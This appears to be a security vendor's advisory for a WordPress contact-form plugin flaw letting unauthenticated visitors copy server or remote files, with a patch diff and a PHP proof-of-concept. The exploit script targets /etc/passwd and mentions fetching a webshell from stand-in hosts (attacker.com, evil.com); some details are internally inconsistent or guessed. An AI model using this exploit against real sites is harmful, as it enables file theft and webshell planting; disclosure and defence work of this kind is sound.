Published : July 1, 2026

CVE-2026-9145: Database for Contact Form 7, WPforms, Elementor forms <= 1.5.1 Unauthenticated Arbitrary File Copy/Upload via Elementor Pro Form Upload Field 'raw_value' PoC, Patch Analysis & Rule

CVE ID CVE-2026-9145
Severity Medium (CVSS 6.5)
CWE 22
Vulnerable Version 1.5.1
Patched Version 1.5.2
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9145:

This vulnerability is an unauthenticated arbitrary file copy/upload vulnerability in the Database for Contact Form 7, WPforms, Elementor forms plugin (versions up to and including 1.5.1). The flaw resides in the create_entry_el() function, which processes Elementor Pro form submissions. An unauthenticated attacker can cause the plugin to copy arbitrary files from the server or from remote URLs into a plugin-managed upload directory, potentially leading to sensitive file disclosure. The CVSS score is 6.5.

Root Cause: The vulnerable code is in contact-form-entries/contact-form-entries.php, within the create_entry_el() function. At line 640 (pre-patch), the code reads $val=$v[‘raw_value’] for upload-type fields. For Elementor Pro forms, the ‘raw_value’ comes from the Form_Record object. An attacker can control this value by sending a POST request with a crafted ‘raw_value’ string (e.g., a path like /etc/passwd or a remote URL like http://attacker.com/shell.php). When no actual file is present in $_FILES, the code passes this attacker-controlled string directly to the copy() function at line 716 (in copy_files). The copy() function in PHP accepts both local filesystem paths and URL sources (if allow_url_fopen is enabled). The destination directory path is generated using uniqid() and rand(), but is partially guessable. The bug is entirely in the Contact Form Entries handler; Elementor Pro provides the hook that populates the Form_Record object.

Exploitation: An attacker sends a POST request to a WordPress site with Elementor Pro and the vulnerable plugin active. The request targets an Elementor Pro form submission endpoint (typically /wp-json/elementor-pro/v1/forms/submissions or similar). The attacker includes a form field of type ‘upload’ (or ‘file’) with the ‘raw_value’ parameter set to a target file path (e.g., file:///etc/passwd, ../../../../wp-config.php, or a remote URL like http://evil.com/shell.php). The plugin processes the submission, extracts the ‘raw_value’, and copies it to the upload directory. The attacker then needs to determine the hashed directory name to locate the copied file. The directory name is generated as ‘crm_perks_uploads/’ . uniqid() . ‘_’ . rand(), which provides some obscurity but is not cryptographically secure. The attacker can iterate through possible directory names or use other information leaks to find the file.

Patch Analysis: The patch makes two key changes. First, at line 637 (post-patch), it adds $raw_files = $record->get( ‘files’ ) which retrieves the actual file metadata from the Elementor Pro Form_Record. Second, at line 640, it now checks if the field type is ‘upload’ or ‘file’ AND if $raw_files[$v[‘id’]] exists with a ‘path’ key. If so, it uses $raw_files[$v[‘id’]][‘path’] (the legitimate uploaded file path) instead of $v[‘raw_value’] (the attacker-controlled string). This ensures only files that Elementor Pro has already validated as legitimate uploads are processed by the copy_files() function. The patch effectively prevents the attacker from injecting arbitrary file paths or URLs by requiring that the file reference come from Elementor Pro’s validated file storage rather than from the raw form field value.

Impact: An authenticated attacker can exploit this vulnerability to copy arbitrary files readable by the web server to the plugin’s upload directory. This includes sensitive files like wp-config.php, /etc/passwd, and other configuration or system files. If the attacker can also enumerate the hashed directory name, they can read the contents of these files, leading to sensitive information disclosure. In scenarios where allow_url_fopen is enabled, the attacker can also copy remote files (like webshells) to the server, potentially leading to remote code execution. The copying itself does not require authentication, making it accessible to any unauthenticated visitor who can submit an Elementor Pro form.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/contact-form-entries/contact-form-entries.php
+++ b/contact-form-entries/contact-form-entries.php
@@ -2,7 +2,7 @@
 /**
 * Plugin Name: Contact Form Entries
 * Description: Save form submissions to the database from <a href="https://wordpress.org/plugins/contact-form-7/">Contact Form 7</a>, <a href="https://wordpress.org/plugins/ninja-forms/">Ninja Forms</a>, <a href="https://elementor.com/widgets/form-widget/">Elementor Forms</a> and <a href="https://wordpress.org/plugins/wpforms-lite/">WP Forms</a>.
-* Version: 1.5.1
+* Version: 1.5.2
 * Requires at least: 3.8
 * Author URI: https://www.crmperks.com
 * Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/crm-perks-forms/
@@ -25,7 +25,7 @@
   public static $type = "vxcf_form";
   public static $path = '';

-  public static  $version = '1.5.1';
+  public static  $version = '1.5.2';
   public static $upload_folder = 'crm_perks_uploads';
   public static $db_version='';
   public static $base_url='';
@@ -626,7 +626,7 @@

    // $d=$record->get_form_settings( 'form_fields' ); //form_name
     $data = $record->get( 'fields' );
-   // $raw_files = $record->get( 'files' );
+    $raw_files = $record->get( 'files' );
     $form_id=$form_id_p.'_'.$post_id_p;
     $track=$this->track_form_entry('el',$form_id);
     $fields=self::get_form_fields('el_'.$form_id);
@@ -637,16 +637,16 @@
     if(in_array($v['type'],array('html','step','recaptcha','recaptcha_v3','honeypot'))){
       continue;
     }
-$val=$v['raw_value'];
-if(in_array($v['type'],array('upload','file'))){
-  $upload_files[$v['id']]=$val;
+$val=$v['raw_value']; //var_dump($v);
+if(in_array($v['type'],array('upload','file')) && isset($raw_files[$v['id']]) && isset($raw_files[$v['id']]['path'])){
+  $upload_files[$v['id']]=$raw_files[$v['id']]['path'];
 }else{

  if(in_array($v['type'],array('checkbox','multiselect'))){
  // $val=array_map('trim',explode(',',$val));     //need it for value not for raw value
 }
 $lead[$v['id']]=$val;
-}    } } //var_dump($upload_files); die();
+}    } } //var_dump($upload_files,$raw_files); //die();
 if($track ){ //&& !empty(self::$is_pr)
   $upload_files=$this->copy_files($upload_files);
 }
@@ -714,16 +714,14 @@
  $lead=array();
 if(is_array($post_data)){
   foreach($post_data as $k=>$val){
-    if(in_array($k,array('vx_width','vx_height','vx_url','g-recaptcha-response'))){ continue; }
+    if(in_array($k,array('vx_width','vx_height','vx_url','g-recaptcha-response'))){ continue; }
+  $field_type='';
        if(isset($tags[$k])){
           $v=$tags[$k];  //$v is empty for non form fields
-      }
-     $name=$k;  //$v['name'] //if empty then $v is old
-//var_dump($v);
- if(isset($uploaded_files[$name])){
-  $val=$uploaded_files[$name];
-   }
-
+  if(isset($v['type'])){
+      $field_type=$v['type'];
+  }
+}
    //disabled it @feb-2024 , dnd plugin now uses correct file urls because it converts normal file url to http://localhost/wp6/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/
  /*  if( !empty($val) && isset($v['type_']) && $v['type_'] == 'mfile' && function_exists('dnd_get_upload_dir') ){
       $dir=dnd_get_upload_dir();
@@ -737,20 +735,25 @@

    $val=$f_arr;
    }*/
-if( !empty($val) && is_array($val) && isset($v['type_']) && $v['type_'] == 'mfilea'){ //escape wpcf7-files/testt'"><img src=x onerror=alert(1).jpg
-   $temp_val=array();
-    foreach($val as $kk=>$vv){
+//if( !empty($val) && is_array($val) && isset($v['type_']) && $v['type_'] == 'mfilea'){ //escape wpcf7-files/testt'"><img src=x onerror=alert(1).jpg
+if( $field_type == 'file'){
+if(isset($uploaded_files[$name])){
+  $val=$uploaded_files[$name];
+   }
+   if(is_array($val)){
+       $temp_val=array();
+       foreach($val as $kk=>$vv){
      $temp_val[$kk]=sanitize_url($vv);
     }
 $val=$temp_val;
-}
-    if(!isset($uploaded_files[$name])){
-     $val=wp_unslash($val);
-    }
+   }
+}else{
+ $val=wp_unslash($val);
+}
   $lead[$k]=$val;
   }
 }
-//var_dump($lead,$post_data); die('-----------');
+//var_dump($lead,$uploaded_files); die('-----------');

 $form_arr=array('id'=>$form_id,'name'=>$form_title,'fields'=>$tags);
 $this->create_entry($lead,$form_arr,'cf','',$track);
--- a/contact-form-entries/includes/plugin-pages.php
+++ b/contact-form-entries/includes/plugin-pages.php
@@ -1180,7 +1180,7 @@
 //delete files
 $files=array();
 if(!empty($detail[$name]['value']) ){
-    $db_files= maybe_unserialize($detail[$name]['value']);
+    $db_files= $detail[$name]['value'];
      if(is_serialized($db_files)){
            $db_files=unserialize($db_files, array('allowed_classes' => false));
          }
@@ -1190,11 +1190,11 @@
         }
           if(is_array($db_files)){
           foreach($db_files as $k=>$file){
-if(!isset($_POST['files_'.$name][$k])){
+if(!isset($_POST['files_'.$name][$k])){
     //delete old file
-    if( file_exists($upload['dir'].$file)){
-
-    @unlink($upload['dir'].$file);
+   $real_file=realpath($upload['dir'].$file);
+    if( file_exists($real_file) && strpos($real_file,'/crm_perks_uploads/') !== false){
+    @unlink($real_file);
     }
                }else{
              $files[]=$file;
@@ -1202,6 +1202,7 @@
           }
           }
 }
+die();
 $not_allowed_files = array( 'js', 'jse', 'jar', 'php', 'php3', 'php4', 'php5', 'phtml', 'svg', 'swf', 'exe', 'html', 'htm', 'shtml', 'xhtml', 'xml', 'css', 'asp', 'aspx', 'jsp', 'sql', 'hta', 'dll', 'bat', 'com', 'sh', 'bash', 'py', 'pl', 'dfxp' );
 if(!empty($_FILES)){
               if(isset($_FILES[$field['name']]['name']) && is_array($_FILES[$field['name']]['name'])){
--- a/contact-form-entries/templates/view.php
+++ b/contact-form-entries/templates/view.php
@@ -549,20 +549,20 @@
     }else{
         $files_arr=$value;
     }
-    $value='';
-foreach($files_arr as $k=>$val){
+    $value=''; //$k=0;
+foreach($files_arr as $k=>$val){
 $value.=$file_value=vxcf_form::file_link($val);
     ?>
 <div class="vx_file_single">
 <?php echo esc_url($file_value); ?>
   <div>
-  <input type="hidden" name="files_<?php echo esc_html($f_name.'['.$k.']') ?>" value="<?php echo esc_html($val) ?>" />
+  <input type="hidden" name="files_<?php echo esc_html($f_name.'['.str_replace(array("[" , "]"),'',$k).']') ?>" value="<?php echo esc_html($val) ?>" />
   <input type="file" id="vx_<?php echo esc_html($field['name']); ?>" <?php echo esc_html($req) ?> class="vx_input" name="<?php echo esc_html($f_name).'[]' ?>" autocomplete="off">
  <a href="#" class="vx_del_link vx_float_right vx_remove_file"><?php _e('Remove','contact-form-entries') ?></a>
   </div>
   </div>
    <?php
-    }
+  }
     ?>
    <div class="vx_file_single">
    <button type="button" class="button vx_add_file"><i class="fa fa-plus-circle"></i> <?php _e('Add File','contact-form-entries') ?></button>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9145 - Database for Contact Form 7, WPforms, Elementor forms <= 1.5.1 - Unauthenticated Arbitrary File Copy/Upload

// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site URL
// The Elementor Pro form submission endpoint (AJAX handler)
$endpoint = $target_url . '/wp-admin/admin-ajax.php';

// The action for Elementor Pro form submission (typically 'elementor_pro_forms_save_form')
// You may need to adjust this based on the actual Elementor Pro version
$action = 'elementor_pro_forms_save_form';

// Target file to copy (local or remote)
$target_file = '/etc/passwd'; // Example: local file path
// For remote file, use: $target_file = 'http://attacker.com/shell.php';

// Build POST data mimicking an Elementor Pro form submission
// The form ID and field ID must be valid (can be obtained from a real form)
$post_data = array(
    'action' => $action,
    'form_id' => '1234', // Example form ID - adjust as needed
    'fields' => array(
        'upload_field_id' => array( // Replace with actual upload field ID
            'type' => 'upload',
            'raw_value' => $target_file // The attacker-controlled value
        )
    ),
    // Other required fields like post_id, etc. may be needed
);

// Initialize cURL
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: AtomicEdge-PoC'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Display results
echo 'HTTP Response Code: ' . $http_code . "n";
echo 'Response: ' . $response . "nn";
echo 'Note: The file is copied to a directory like: wp-content/uploads/crm_perks_uploads/[uniqid]_[rand]/' . basename($target_file) . "n";
echo 'You may need to enumerate or brute-force the directory name to retrieve the file.' . "n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.